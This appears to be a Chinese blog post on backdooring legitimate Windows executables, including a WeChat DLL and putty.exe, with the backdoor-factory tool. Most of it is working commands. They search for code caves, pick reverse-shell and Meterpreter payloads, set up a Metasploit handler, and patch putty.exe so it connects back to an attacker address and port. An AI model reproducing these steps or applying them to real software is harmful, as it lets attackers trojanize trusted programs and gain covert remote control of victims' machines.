之前弄了一下微信的dll修改后门插入,利用的工具是backdoor-factory,遇到了一个坑,顺手记录一下。
系统:Kali
Kali是预装了backdoor-factory的。
我踩的坑就在这里了,测试的putty竟然不支持,what happened?不是刚开始拿这个做实验都可以的吗?
这个坑非常深,我是踩了好多遍才意识到可能是kali上这个不对劲,于是我上github上下载了backdoor-factory。
具体的安装方法我就不说了,github下面有详细的说明。
下载了github上的backdoor-factory之后,马上这个坑就没了。
相同的文件瞬间就变得可以支持了。
好了,这个坑就没了。
具体的使用方法我就随便演示一下
1、首先检查是否support
-f:指定测试程序
-S:检查该程序是否支持 patch
2、搜索该文件可用的Code Caves
./backdoor.py -f test.exe -c
如果payload长度为703,那么Code Caves需要满足长度大于600,参数如下:
./backdoor.py -f test.exe -c -l 600
3、获取该文件的可用payload
如上图所示,会有很多的可利用payload。
cave_miner_inline:
作为payload模板,长度为135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发shellcode的模板
reverse_shell_tcp_inline:
对应meterpreter server:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
meterpreter_reverse_https_threaded:
对应meterpreter server:
use exploit/multi/handlerset payload windows/meterpreter/reverse_https
iat_reverse_tcp_inline中的iat:
iat为Import Address Table(导入地址表)的缩写,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接执行payload reverse_shell_tcp_inline会失败,iat_reverse_tcp_inline增加了修复IAT的功能,避免执行失败
user_supplied_shellcode_threaded:
自定义shellcode
4、配合msf使用:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.14.1
(后面的ip填你自己电脑的ip)
set lport 6666
exploit
推荐使用的命令:
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.14.1 -P 6666 -J
-c:code cave(代码裂缝)
-l:代码裂缝大小
-s:选择使用 payload 类型
-H:选择回连服务器地址
-P:回连服务器端口
-J:使用多代码裂缝注入